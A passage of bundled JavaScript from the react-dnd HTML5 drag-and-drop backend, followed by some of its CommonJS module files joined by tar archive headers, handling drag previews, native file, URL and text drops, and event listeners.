    var _getDragPreviewSize = getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight),
        dragPreviewWidth = _getDragPreviewSize.dragPreviewWidth,
        dragPreviewHeight = _getDragPreviewSize.dragPreviewHeight;

    var calculateYOffset = function calculateYOffset() {
      var interpolantY = new MonotonicInterpolant([0, 0.5, 1], [// Dock to the top
      offsetFromDragPreview.y, // Align at the center
      offsetFromDragPreview.y / sourceHeight * dragPreviewHeight, // Dock to the bottom
      offsetFromDragPreview.y + dragPreviewHeight - sourceHeight]);
      var y = interpolantY.interpolate(anchorY); // Work around Safari 8 positioning bug

      if (isSafari() && isImage) {
        // We'll have to wait for @3x to see if this is entirely correct
        y += (window.devicePixelRatio - 1) * dragPreviewHeight;
      }

      return y;
    };

    var calculateXOffset = function calculateXOffset() {
      // Interpolate coordinates depending on anchor point
      // If you know a simpler way to do this, let me know
      var interpolantX = new MonotonicInterpolant([0, 0.5, 1], [// Dock to the left
      offsetFromDragPreview.x, // Align at the center
      offsetFromDragPreview.x / sourceWidth * dragPreviewWidth, // Dock to the right
      offsetFromDragPreview.x + dragPreviewWidth - sourceWidth]);
      return interpolantX.interpolate(anchorX);
    }; // Force offsets if specified in the options.


    var offsetX = offsetPoint.offsetX,
        offsetY = offsetPoint.offsetY;
    var isManualOffsetX = offsetX === 0 || offsetX;
    var isManualOffsetY = offsetY === 0 || offsetY;
    return {
      x: isManualOffsetX ? offsetX : calculateXOffset(),
      y: isManualOffsetY ? offsetY : calculateYOffset()
    };
  }

  var FILE = '__NATIVE_FILE__';
  var URL = '__NATIVE_URL__';
  var TEXT = '__NATIVE_TEXT__';

  var NativeTypes = /*#__PURE__*/Object.freeze({
    __proto__: null,
    FILE: FILE,
    URL: URL,
    TEXT: TEXT
  });

  function getDataFromDataTransfer(dataTransfer, typesToTry, defaultValue) {
    var result = typesToTry.reduce(function (resultSoFar, typeToTry) {
      return resultSoFar || dataTransfer.getData(typeToTry);
    }, '');
    return result != null ? result : defaultValue;
  }

  var _nativeTypesConfig;

  function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
  var nativeTypesConfig = (_nativeTypesConfig = {}, _defineProperty(_nativeTypesConfig, FILE, {
    exposeProperties: {
      files: function files(dataTransfer) {
        return Array.prototype.slice.call(dataTransfer.files);
      },
      items: function items(dataTransfer) {
        return dataTransfer.items;
      }
    },
    matchesTypes: ['Files']
  }), _defineProperty(_nativeTypesConfig, URL, {
    exposeProperties: {
      urls: function urls(dataTransfer, matchesTypes) {
        return getDataFromDataTransfer(dataTransfer, matchesTypes, '').split('\n');
      }
    },
    matchesTypes: ['Url', 'text/uri-list']
  }), _defineProperty(_nativeTypesConfig, TEXT, {
    exposeProperties: {
      text: function text(dataTransfer, matchesTypes) {
        return getDataFromDataTransfer(dataTransfer, matchesTypes, '');
      }
    },
    matchesTypes: ['Text', 'text/plain']
  }), _nativeTypesConfig);

  function _classCallCheck$2(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$2(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$2(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$2(Constructor.prototype, protoProps); if (staticProps) _defineProperties$2(Constructor, staticProps); return Constructor; }

  var NativeDragSource = /*#__PURE__*/function () {
    function NativeDragSource(config) {
      _classCallCheck$2(this, NativeDragSource);

      this.config = config;
      this.item = {};
      this.initializeExposedProperties();
    }

    _createClass$2(NativeDragSource, [{
      key: "initializeExposedProperties",
      value: function initializeExposedProperties() {
        var _this = this;

        Object.keys(this.config.exposeProperties).forEach(function (property) {
          Object.defineProperty(_this.item, property, {
            configurable: true,
            enumerable: true,
            get: function get() {
              // eslint-disable-next-line no-console
              console.warn("Browser doesn't allow reading \"".concat(property, "\" until the drop event."));
              return null;
            }
          });
        });
      }
    }, {
      key: "loadDataTransfer",
      value: function loadDataTransfer(dataTransfer) {
        var _this2 = this;

        if (dataTransfer) {
          var newProperties = {};
          Object.keys(this.config.exposeProperties).forEach(function (property) {
            newProperties[property] = {
              value: _this2.config.exposeProperties[property](dataTransfer, _this2.config.matchesTypes),
              configurable: true,
              enumerable: true
            };
          });
          Object.defineProperties(this.item, newProperties);
        }
      }
    }, {
      key: "canDrag",
      value: function canDrag() {
        return true;
      }
    }, {
      key: "beginDrag",
      value: function beginDrag() {
        return this.item;
      }
    }, {
      key: "isDragging",
      value: function isDragging(monitor, handle) {
        return handle === monitor.getSourceId();
      }
    }, {
      key: "endDrag",
      value: function endDrag() {// empty
      }
    }]);

    return NativeDragSource;
  }();

  function createNativeDragSource(type, dataTransfer) {
    var result = new NativeDragSource(nativeTypesConfig[type]);
    result.loadDataTransfer(dataTransfer);
    return result;
  }
  function matchNativeItemType(dataTransfer) {
    if (!dataTransfer) {
      return null;
    }

    var dataTransferTypes = Array.prototype.slice.call(dataTransfer.types || []);
    return Object.keys(nativeTypesConfig).filter(function (nativeItemType) {
      var matchesTypes = nativeTypesConfig[nativeItemType].matchesTypes;
      return matchesTypes.some(function (t) {
        return dataTransferTypes.indexOf(t) > -1;
      });
    })[0] || null;
  }

  function _classCallCheck$3(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$3(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$3(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$3(Constructor.prototype, protoProps); if (staticProps) _defineProperties$3(Constructor, staticProps); return Constructor; }

  var OptionsReader = /*#__PURE__*/function () {
    function OptionsReader(globalContext) {
      _classCallCheck$3(this, OptionsReader);

      this.globalContext = globalContext;
    }

    _createClass$3(OptionsReader, [{
      key: "window",
      get: function get() {
        if (this.globalContext) {
          return this.globalContext;
        } else if (typeof window !== 'undefined') {
          return window;
        }

        return undefined;
      }
    }, {
      key: "document",
      get: function get() {
        if (this.window) {
          return this.window.document;
        }

        return undefined;
      }
    }]);

    return OptionsReader;
  }();

  function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

  function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty$1(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

  function _defineProperty$1(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

  function _classCallCheck$4(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$4(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$4(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$4(Constructor.prototype, protoProps); if (staticProps) _defineProperties$4(Constructor, staticProps); return Constructor; }
  var HTML5BackendImpl = /*#__PURE__*/function () {
    function HTML5BackendImpl(manager, globalContext) {
      var _this = this;

      _classCallCheck$4(this, HTML5BackendImpl);

      this.sourcePreviewNodes = new Map();
      this.sourcePreviewNodeOptions = new Map();
      this.sourceNodes = new Map();
      this.sourceNodeOptions = new Map();
      this.dragStartSourceIds = null;
      this.dropTargetIds = [];
      this.dragEnterTargetIds = [];
      this.currentNativeSource = null;
      this.currentNativeHandle = null;
      this.currentDragSourceNode = null;
      this.altKeyPressed = false;
      this.mouseMoveTimeoutTimer = null;
      this.asyncEndDragFrameId = null;
      this.dragOverTargetIds = null;

      this.getSourceClientOffset = function (sourceId) {
        var source = _this.sourceNodes.get(sourceId);

        return source && getNodeClientOffset(source) || null;
      };

      this.endDragNativeItem = function () {
        if (!_this.isDraggingNativeItem()) {
          return;
        }

        _this.actions.endDrag();

        if (_this.currentNativeHandle) {
          _this.registry.removeSource(_this.currentNativeHandle);
        }

        _this.currentNativeHandle = null;
        _this.currentNativeSource = null;
      };

      this.isNodeInDocument = function (node) {
        // Check the node either in the main document or in the current context
        return Boolean(node && _this.document && _this.document.body && document.body.contains(node));
      };

      this.endDragIfSourceWasRemovedFromDOM = function () {
        var node = _this.currentDragSourceNode;

        if (_this.isNodeInDocument(node)) {
          return;
        }

        if (_this.clearCurrentDragSourceNode()) {
          _this.actions.endDrag();
        }
      };

      this.handleTopDragStartCapture = function () {
        _this.clearCurrentDragSourceNode();

        _this.dragStartSourceIds = [];
      };

      this.handleTopDragStart = function (e) {
        if (e.defaultPrevented) {
          return;
        }

        var dragStartSourceIds = _this.dragStartSourceIds;
        _this.dragStartSourceIds = null;
        var clientOffset = getEventClientOffset(e); // Avoid crashing if we missed a drop event or our previous drag died

        if (_this.monitor.isDragging()) {
          _this.actions.endDrag();
        } // Don't publish the source just yet (see why below)


        _this.actions.beginDrag(dragStartSourceIds || [], {
          publishSource: false,
          getSourceClientOffset: _this.getSourceClientOffset,
          clientOffset: clientOffset
        });

        var dataTransfer = e.dataTransfer;
        var nativeType = matchNativeItemType(dataTransfer);

        if (_this.monitor.isDragging()) {
          if (dataTransfer && typeof dataTransfer.setDragImage === 'function') {
            // Use custom drag image if user specifies it.
            // If child drag source refuses drag but parent agrees,
            // use parent's node as drag image. Neither works in IE though.
            var sourceId = _this.monitor.getSourceId();

            var sourceNode = _this.sourceNodes.get(sourceId);

            var dragPreview = _this.sourcePreviewNodes.get(sourceId) || sourceNode;

            if (dragPreview) {
              var _this$getCurrentSourc = _this.getCurrentSourcePreviewNodeOptions(),
                  anchorX = _this$getCurrentSourc.anchorX,
                  anchorY = _this$getCurrentSourc.anchorY,
                  offsetX = _this$getCurrentSourc.offsetX,
                  offsetY = _this$getCurrentSourc.offsetY;

              var anchorPoint = {
                anchorX: anchorX,
                anchorY: anchorY
              };
              var offsetPoint = {
                offsetX: offsetX,
                offsetY: offsetY
              };
              var dragPreviewOffset = getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint);
              dataTransfer.setDragImage(dragPreview, dragPreviewOffset.x, dragPreviewOffset.y);
            }
          }

          try {
            // Firefox won't drag without setting data
            dataTransfer === null || dataTransfer === void 0 ? void 0 : dataTransfer.setData('application/json', {});
          } catch (err) {} // IE doesn't support MIME types in setData
          // Store drag source node so we can check whether
          // it is removed from DOM and trigger endDrag manually.


          _this.setCurrentDragSourceNode(e.target); // Now we are ready to publish the drag source.. or are we not?


          var _this$getCurrentSourc2 = _this.getCurrentSourcePreviewNodeOptions(),
              captureDraggingState = _this$getCurrentSourc2.captureDraggingState;

          if (!captureDraggingState) {
            // Usually we want to publish it in the next tick so that browser
            // is able to screenshot the current (not yet dragging) state.
            //
            // It also neatly avoids a situation where render() returns null
            // in the same tick for the source element, and browser freaks out.
            setTimeout(function () {
              return _this.actions.publishDragSource();
            }, 0);
          } else {
            // In some cases the user may want to override this behavior, e.g.
            // to work around IE not supporting custom drag previews.
            //
            // When using a custom drag layer, the only way to prevent
            // the default drag preview from drawing in IE is to screenshot
            // the dragging state in which the node itself has zero opacity
            // and height. In this case, though, returning null from render()
            // will abruptly end the dragging, which is not obvious.
            //
            // This is the reason such behavior is strictly opt-in.
            _this.actions.publishDragSource();
          }
        } else if (nativeType) {
          // A native item (such as URL) dragged from inside the document
          _this.beginDragNativeItem(nativeType);
        } else if (dataTransfer && !dataTransfer.types && (e.target && !e.target.hasAttribute || !e.target.hasAttribute('draggable'))) {
          // Looks like a Safari bug: dataTransfer.types is null, but there was no draggable.
          // Just let it drag. It's a native type (URL or text) and will be picked up in
          // dragenter handler.
          return;
        } else {
          // If by this time no drag source reacted, tell browser not to drag.
          e.preventDefault();
        }
      };

      this.handleTopDragEndCapture = function () {
        if (_this.clearCurrentDragSourceNode()) {
          // Firefox can dispatch this event in an infinite loop
          // if dragend handler does something like showing an alert.
          // Only proceed if we have not handled it already.
          _this.actions.endDrag();
        }
      };

      this.handleTopDragEnterCapture = function (e) {
        _this.dragEnterTargetIds = [];

        var isFirstEnter = _this.enterLeaveCounter.enter(e.target);

        if (!isFirstEnter || _this.monitor.isDragging()) {
          return;
        }

        var dataTransfer = e.dataTransfer;
        var nativeType = matchNativeItemType(dataTransfer);

        if (nativeType) {
          // A native item (such as file or URL) dragged from outside the document
          _this.beginDragNativeItem(nativeType, dataTransfer);
        }
      };

      this.handleTopDragEnter = function (e) {
        var dragEnterTargetIds = _this.dragEnterTargetIds;
        _this.dragEnterTargetIds = [];

        if (!_this.monitor.isDragging()) {
          // This is probably a native item type we don't understand.
          return;
        }

        _this.altKeyPressed = e.altKey;

        if (!isFirefox()) {
          // Don't emit hover in `dragenter` on Firefox due to an edge case.
          // If the target changes position as the result of `dragenter`, Firefox
          // will still happily dispatch `dragover` despite target being no longer
          // there. The easy solution is to only fire `hover` in `dragover` on FF.
          _this.actions.hover(dragEnterTargetIds, {
            clientOffset: getEventClientOffset(e)
          });
        }

        var canDrop = dragEnterTargetIds.some(function (targetId) {
          return _this.monitor.canDropOnTarget(targetId);
        });

        if (canDrop) {
          // IE requires this to fire dragover events
          e.preventDefault();

          if (e.dataTransfer) {
            e.dataTransfer.dropEffect = _this.getCurrentDropEffect();
          }
        }
      };

      this.handleTopDragOverCapture = function () {
        _this.dragOverTargetIds = [];
      };

      this.handleTopDragOver = function (e) {
        var dragOverTargetIds = _this.dragOverTargetIds;
        _this.dragOverTargetIds = [];

        if (!_this.monitor.isDragging()) {
          // This is probably a native item type we don't understand.
          // Prevent default "drop and blow away the whole document" action.
          e.preventDefault();

          if (e.dataTransfer) {
            e.dataTransfer.dropEffect = 'none';
          }

          return;
        }

        _this.altKeyPressed = e.altKey;

        _this.actions.hover(dragOverTargetIds || [], {
          clientOffset: getEventClientOffset(e)
        });

        var canDrop = (dragOverTargetIds || []).some(function (targetId) {
          return _this.monitor.canDropOnTarget(targetId);
        });

        if (canDrop) {
          // Show user-specified drop effect.
          e.preventDefault();

          if (e.dataTransfer) {
            e.dataTransfer.dropEffect = _this.getCurrentDropEffect();
          }
        } else if (_this.isDraggingNativeItem()) {
          // Don't show a nice cursor but still prevent default
          // "drop and blow away the whole document" action.
          e.preventDefault();
        } else {
          e.preventDefault();

          if (e.dataTransfer) {
            e.dataTransfer.dropEffect = 'none';
          }
        }
      };

      this.handleTopDragLeaveCapture = function (e) {
        if (_this.isDraggingNativeItem()) {
          e.preventDefault();
        }

        var isLastLeave = _this.enterLeaveCounter.leave(e.target);

        if (!isLastLeave) {
          return;
        }

        if (_this.isDraggingNativeItem()) {
          _this.endDragNativeItem();
        }
      };

      this.handleTopDropCapture = function (e) {
        _this.dropTargetIds = [];
        e.preventDefault();

        if (_this.isDraggingNativeItem()) {
          var _this$currentNativeSo;

          (_this$currentNativeSo = _this.currentNativeSource) === null || _this$currentNativeSo === void 0 ? void 0 : _this$currentNativeSo.loadDataTransfer(e.dataTransfer);
        }

        _this.enterLeaveCounter.reset();
      };

      this.handleTopDrop = function (e) {
        var dropTargetIds = _this.dropTargetIds;
        _this.dropTargetIds = [];

        _this.actions.hover(dropTargetIds, {
          clientOffset: getEventClientOffset(e)
        });

        _this.actions.drop({
          dropEffect: _this.getCurrentDropEffect()
        });

        if (_this.isDraggingNativeItem()) {
          _this.endDragNativeItem();
        } else {
          _this.endDragIfSourceWasRemovedFromDOM();
        }
      };

      this.handleSelectStart = function (e) {
        var target = e.target; // Only IE requires us to explicitly say
        // we want drag drop operation to start

        if (typeof target.dragDrop !== 'function') {
          return;
        } // Inputs and textareas should be selectable


        if (target.tagName === 'INPUT' || target.tagName === 'SELECT' || target.tagName === 'TEXTAREA' || target.isContentEditable) {
          return;
        } // For other targets, ask IE
        // to enable drag and drop


        e.preventDefault();
        target.dragDrop();
      };

      this.options = new OptionsReader(globalContext);
      this.actions = manager.getActions();
      this.monitor = manager.getMonitor();
      this.registry = manager.getRegistry();
      this.enterLeaveCounter = new EnterLeaveCounter(this.isNodeInDocument);
    }
    /**
     * Generate profiling statistics for the HTML5Backend.
     */


    _createClass$4(HTML5BackendImpl, [{
      key: "profile",
      value: function profile() {
        var _this$dragStartSource, _this$dragOverTargetI;

        return {
          sourcePreviewNodes: this.sourcePreviewNodes.size,
          sourcePreviewNodeOptions: this.sourcePreviewNodeOptions.size,
          sourceNodeOptions: this.sourceNodeOptions.size,
          sourceNodes: this.sourceNodes.size,
          dragStartSourceIds: ((_this$dragStartSource = this.dragStartSourceIds) === null || _this$dragStartSource === void 0 ? void 0 : _this$dragStartSource.length) || 0,
          dropTargetIds: this.dropTargetIds.length,
          dragEnterTargetIds: this.dragEnterTargetIds.length,
          dragOverTargetIds: ((_this$dragOverTargetI = this.dragOverTargetIds) === null || _this$dragOverTargetI === void 0 ? void 0 : _this$dragOverTargetI.length) || 0
        };
      } // public for test

    }, {
      key: "setup",
      value: function setup() {
        if (this.window === undefined) {
          return;
        }

        if (this.window.__isReactDndBackendSetUp) {
          throw new Error('Cannot have two HTML5 backends at the same time.');
        }

        this.window.__isReactDndBackendSetUp = true;
        this.addEventListeners(this.window);
      }
    }, {
      key: "teardown",
      value: function teardown() {
        if (this.window === undefined) {
          return;
        }

        this.window.__isReactDndBackendSetUp = false;
        this.removeEventListeners(this.window);
        this.clearCurrentDragSourceNode();

        if (this.asyncEndDragFrameId) {
          this.window.cancelAnimationFrame(this.asyncEndDragFrameId);
        }
      }
    }, {
      key: "connectDragPreview",
      value: function connectDragPreview(sourceId, node, options) {
        var _this2 = this;

        this.sourcePreviewNodeOptions.set(sourceId, options);
        this.sourcePreviewNodes.set(sourceId, node);
        return function () {
          _this2.sourcePreviewNodes.delete(sourceId);

          _this2.sourcePreviewNodeOptions.delete(sourceId);
        };
      }
    }, {
      key: "connectDragSource",
      value: function connectDragSource(sourceId, node, options) {
        var _this3 = this;

        this.sourceNodes.set(sourceId, node);
        this.sourceNodeOptions.set(sourceId, options);

        var handleDragStart = function handleDragStart(e) {
          return _this3.handleDragStart(e, sourceId);
        };

        var handleSelectStart = function handleSelectStart(e) {
          return _this3.handleSelectStart(e);
        };

        node.setAttribute('draggable', 'true');
        node.addEventListener('dragstart', handleDragStart);
        node.addEventListener('selectstart', handleSelectStart);
        return function () {
          _this3.sourceNodes.delete(sourceId);

          _this3.sourceNodeOptions.delete(sourceId);

          node.removeEventListener('dragstart', handleDragStart);
          node.removeEventListener('selectstart', handleSelectStart);
          node.setAttribute('draggable', 'false');
        };
      }
    }, {
      key: "connectDropTarget",
      value: function connectDropTarget(targetId, node) {
        var _this4 = this;

        var handleDragEnter = function handleDragEnter(e) {
          return _this4.handleDragEnter(e, targetId);
        };

        var handleDragOver = function handleDragOver(e) {
          return _this4.handleDragOver(e, targetId);
        };

        var handleDrop = function handleDrop(e) {
          return _this4.handleDrop(e, targetId);
        };

        node.addEventListener('dragenter', handleDragEnter);
        node.addEventListener('dragover', handleDragOver);
        node.addEventListener('drop', handleDrop);
        return function () {
          node.removeEventListener('dragenter', handleDragEnter);
          node.removeEventListener('dragover', handleDragOver);
          node.removeEventListener('drop', handleDrop);
        };
      }
    }, {
      key: "addEventListeners",
      value: function addEventListeners(target) {
        // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813
        if (!target.addEventListener) {
          return;
        }

        target.addEventListener('dragstart', this.handleTopDragStart);
        target.addEventListener('dragstart', this.handleTopDragStartCapture, true);
        target.addEventListener('dragend', this.handleTopDragEndCapture, true);
        target.addEventListener('dragenter', this.handleTopDragEnter);
        target.addEventListener('dragenter', this.handleTopDragEnterCapture, true);
        target.addEventListener('dragleave', this.handleTopDragLeaveCapture, true);
        target.addEventListener('dragover', this.handleTopDragOver);
        target.addEventListener('dragover', this.handleTopDragOverCapture, true);
        target.addEventListener('drop', this.handleTopDrop);
        target.addEventListener('drop', this.handleTopDropCapture, true);
      }
    }, {
      key: "removeEventListeners",
      value: function removeEventListeners(target) {
        // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813
        if (!target.removeEventListener) {
          return;
        }

        target.removeEventListener('dragstart', this.handleTopDragStart);
        target.removeEventListener('dragstart', this.handleTopDragStartCapture, true);
        target.removeEventListener('dragend', this.handleTopDragEndCapture, true);
        target.removeEventListener('dragenter', this.handleTopDragEnter);
        target.removeEventListener('dragenter', this.handleTopDragEnterCapture, true);
        target.removeEventListener('dragleave', this.handleTopDragLeaveCapture, true);
        target.removeEventListener('dragover', this.handleTopDragOver);
        target.removeEventListener('dragover', this.handleTopDragOverCapture, true);
        target.removeEventListener('drop', this.handleTopDrop);
        target.removeEventListener('drop', this.handleTopDropCapture, true);
      }
    }, {
      key: "getCurrentSourceNodeOptions",
      value: function getCurrentSourceNodeOptions() {
        var sourceId = this.monitor.getSourceId();
        var sourceNodeOptions = this.sourceNodeOptions.get(sourceId);
        return _objectSpread({
          dropEffect: this.altKeyPressed ? 'copy' : 'move'
        }, sourceNodeOptions || {});
      }
    }, {
      key: "getCurrentDropEffect",
      value: function getCurrentDropEffect() {
        if (this.isDraggingNativeItem()) {
          // It makes more sense to default to 'copy' for native resources
          return 'copy';
        }

        return this.getCurrentSourceNodeOptions().dropEffect;
      }
    }, {
      key: "getCurrentSourcePreviewNodeOptions",
      value: function getCurrentSourcePreviewNodeOptions() {
        var sourceId = this.monitor.getSourceId();
        var sourcePreviewNodeOptions = this.sourcePreviewNodeOptions.get(sourceId);
        return _objectSpread({
          anchorX: 0.5,
          anchorY: 0.5,
          captureDraggingState: false
        }, sourcePreviewNodeOptions || {});
      }
    }, {
      key: "isDraggingNativeItem",
      value: function isDraggingNativeItem() {
        var itemType = this.monitor.getItemType();
        return Object.keys(NativeTypes).some(function (key) {
          return NativeTypes[key] === itemType;
        });
      }
    }, {
      key: "beginDragNativeItem",
      value: function beginDragNativeItem(type, dataTransfer) {
        this.clearCurrentDragSourceNode();
        this.currentNativeSource = createNativeDragSource(type, dataTransfer);
        this.currentNativeHandle = this.registry.addSource(type, this.currentNativeSource);
        this.actions.beginDrag([this.currentNativeHandle]);
      }
    }, {
      key: "setCurrentDragSourceNode",
      value: function setCurrentDragSourceNode(node) {
        var _this5 = this;

        this.clearCurrentDragSourceNode();
        this.currentDragSourceNode = node; // A timeout of > 0 is necessary to resolve Firefox issue referenced
        // See:
        //   * https://github.com/react-dnd/react-dnd/pull/928
        //   * https://github.com/react-dnd/react-dnd/issues/869

        var MOUSE_MOVE_TIMEOUT = 1000; // Receiving a mouse event in the middle of a dragging operation
        // means it has ended and the drag source node disappeared from DOM,
        // so the browser didn't dispatch the dragend event.
        //
        // We need to wait before we start listening for mousemove events.
        // This is needed because the drag preview needs to be drawn or else it fires an 'mousemove' event
        // immediately in some browsers.
        //
        // See:
        //   * https://github.com/react-dnd/react-dnd/pull/928
        //   * https://github.com/react-dnd/react-dnd/issues/869
        //

        this.mouseMoveTimeoutTimer = setTimeout(function () {
          return _this5.window && _this5.window.addEventListener('mousemove', _this5.endDragIfSourceWasRemovedFromDOM, true);
        }, MOUSE_MOVE_TIMEOUT);
      }
    }, {
      key: "clearCurrentDragSourceNode",
      value: function clearCurrentDragSourceNode() {
        if (this.currentDragSourceNode) {
          this.currentDragSourceNode = null;

          if (this.window) {
            this.window.clearTimeout(this.mouseMoveTimeoutTimer || undefined);
            this.window.removeEventListener('mousemove', this.endDragIfSourceWasRemovedFromDOM, true);
          }

          this.mouseMoveTimeoutTimer = null;
          return true;
        }

        return false;
      }
    }, {
      key: "handleDragStart",
      value: function handleDragStart(e, sourceId) {
        if (e.defaultPrevented) {
          return;
        }

        if (!this.dragStartSourceIds) {
          this.dragStartSourceIds = [];
        }

        this.dragStartSourceIds.unshift(sourceId);
      }
    }, {
      key: "handleDragEnter",
      value: function handleDragEnter(e, targetId) {
        this.dragEnterTargetIds.unshift(targetId);
      }
    }, {
      key: "handleDragOver",
      value: function handleDragOver(e, targetId) {
        if (this.dragOverTargetIds === null) {
          this.dragOverTargetIds = [];
        }

        this.dragOverTargetIds.unshift(targetId);
      }
    }, {
      key: "handleDrop",
      value: function handleDrop(e, targetId) {
        this.dropTargetIds.unshift(targetId);
      }
    }, {
      key: "window",
      get: function get() {
        return this.options.window;
      }
    }, {
      key: "document",
      get: function get() {
        return this.options.document;
      }
    }]);

    return HTML5BackendImpl;
  }();

  var emptyImage;
  function getEmptyImage() {
    if (!emptyImage) {
      emptyImage = new Image();
      emptyImage.src = 'data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==';
    }

    return emptyImage;
  }

  var HTML5Backend = function createBackend(manager, context) {
    return new HTML5BackendImpl(manager, context);
  };

  exports.HTML5Backend = HTML5Backend;
  exports.NativeTypes = NativeTypes;
  exports.getEmptyImage = getEmptyImage;

  Object.defineProperty(exports, '__esModule', { value: true });

})));
cjs/OptionsReader.js000064400000002675151677252760010473 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.OptionsReader = void 0;

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var OptionsReader = /*#__PURE__*/function () {
  function OptionsReader(globalContext) {
    _classCallCheck(this, OptionsReader);

    this.globalContext = globalContext;
  }

  _createClass(OptionsReader, [{
    key: "window",
    get: function get() {
      if (this.globalContext) {
        return this.globalContext;
      } else if (typeof window !== 'undefined') {
        return window;
      }

      return undefined;
    }
  }, {
    key: "document",
    get: function get() {
      if (this.window) {
        return this.window.document;
      }

      return undefined;
    }
  }]);

  return OptionsReader;
}();

exports.OptionsReader = OptionsReader;cjs/NativeDragSources/getDataFromDataTransfer.js000064400000000623151677252760015770 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.getDataFromDataTransfer = getDataFromDataTransfer;

function getDataFromDataTransfer(dataTransfer, typesToTry, defaultValue) {
  var result = typesToTry.reduce(function (resultSoFar, typeToTry) {
    return resultSoFar || dataTransfer.getData(typeToTry);
  }, '');
  return result != null ? result : defaultValue;
}cjs/NativeDragSources/index.js000064400000001735151677252760012410 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.createNativeDragSource = createNativeDragSource;
exports.matchNativeItemType = matchNativeItemType;

var _nativeTypesConfig = require("./nativeTypesConfig");

var _NativeDragSource = require("./NativeDragSource");

function createNativeDragSource(type, dataTransfer) {
  var result = new _NativeDragSource.NativeDragSource(_nativeTypesConfig.nativeTypesConfig[type]);
  result.loadDataTransfer(dataTransfer);
  return result;
}

function matchNativeItemType(dataTransfer) {
  if (!dataTransfer) {
    return null;
  }

  var dataTransferTypes = Array.prototype.slice.call(dataTransfer.types || []);
  return Object.keys(_nativeTypesConfig.nativeTypesConfig).filter(function (nativeItemType) {
    var matchesTypes = _nativeTypesConfig.nativeTypesConfig[nativeItemType].matchesTypes;
    return matchesTypes.some(function (t) {
      return dataTransferTypes.indexOf(t) > -1;
    });
  })[0] || null;
}cjs/NativeDragSources/NativeDragSource.js000064400000005133151677252760014502 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.NativeDragSource = void 0;

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var NativeDragSource = /*#__PURE__*/function () {
  function NativeDragSource(config) {
    _classCallCheck(this, NativeDragSource);

    this.config = config;
    this.item = {};
    this.initializeExposedProperties();
  }

  _createClass(NativeDragSource, [{
    key: "initializeExposedProperties",
    value: function initializeExposedProperties() {
      var _this = this;

      Object.keys(this.config.exposeProperties).forEach(function (property) {
        Object.defineProperty(_this.item, property, {
          configurable: true,
          enumerable: true,
          get: function get() {
            // eslint-disable-next-line no-console
            console.warn("Browser doesn't allow reading \"".concat(property, "\" until the drop event."));
            return null;
          }
        });
      });
    }
  }, {
    key: "loadDataTransfer",
    value: function loadDataTransfer(dataTransfer) {
      var _this2 = this;

      if (dataTransfer) {
        var newProperties = {};
        Object.keys(this.config.exposeProperties).forEach(function (property) {
          newProperties[property] = {
